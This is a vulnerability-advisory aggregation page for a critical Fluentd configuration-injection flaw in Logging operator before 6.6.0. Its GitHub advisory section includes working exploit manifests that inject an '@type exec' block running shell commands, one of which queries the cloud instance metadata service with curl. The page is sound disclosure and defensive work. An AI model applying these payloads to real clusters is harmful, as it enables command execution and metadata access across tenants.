Logging operator has Fluentd configuration injection that allows remote code execution

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.

Source published

29 Jul 2026 16:57:16 UTC

Source modified

30 Jul 2026 13:56:07 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.

Source published

29 Jul 2026 17:16:52 UTC

Source modified

24 Oct 2026 13:10:00 UTC

Observed here

25 Oct 2026 13:17:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary The Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines. In the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator. ### Details The issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87 Each parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration. One input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping. https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103 The config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image. ### PoC The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`. First, create a minimal `Output` as the log destination. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Output metadata: name: sink namespace: tenant-a spec: nullout: {} ``` Next, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: exfil namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "id > /tmp/pwned" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ``` After applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`. ```sh kubectl apply -f output.yaml -f flow.yaml kubectl -n <control-namespace> get secret <logging>-fluentd-app \ -o go-template='{{ index .data "fluentd.conf" }}' \ | base64 -d | grep -A8 '@type exec' ``` When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows. ```sh kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned # expected: uid=100(fluent) gid=101(fluent) groups=101(fluent) ``` ### Impact This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator. In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate. ```yaml apiVersion: logging.banzaicloud.io/v1beta1 kind: Flow metadata: name: imds-poc namespace: tenant-a spec: match: - select: {} filters: - record_transformer: records: - x: |- y </record> </filter> <match **> @type exec command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc" <format> @type json </format> <buffer> flush_interval 1s </buffer> </match> <filter dummy.**> @type record_transformer <record> absorbed y localOutputRefs: - sink ```

Source published

29 Jul 2026 17:01:29 UTC

Source modified

10 Sep 2026 03:50:52 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator

Source published

18 Aug 2026 14:32:29 UTC

Source modified

18 Aug 2026 15:00:23 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.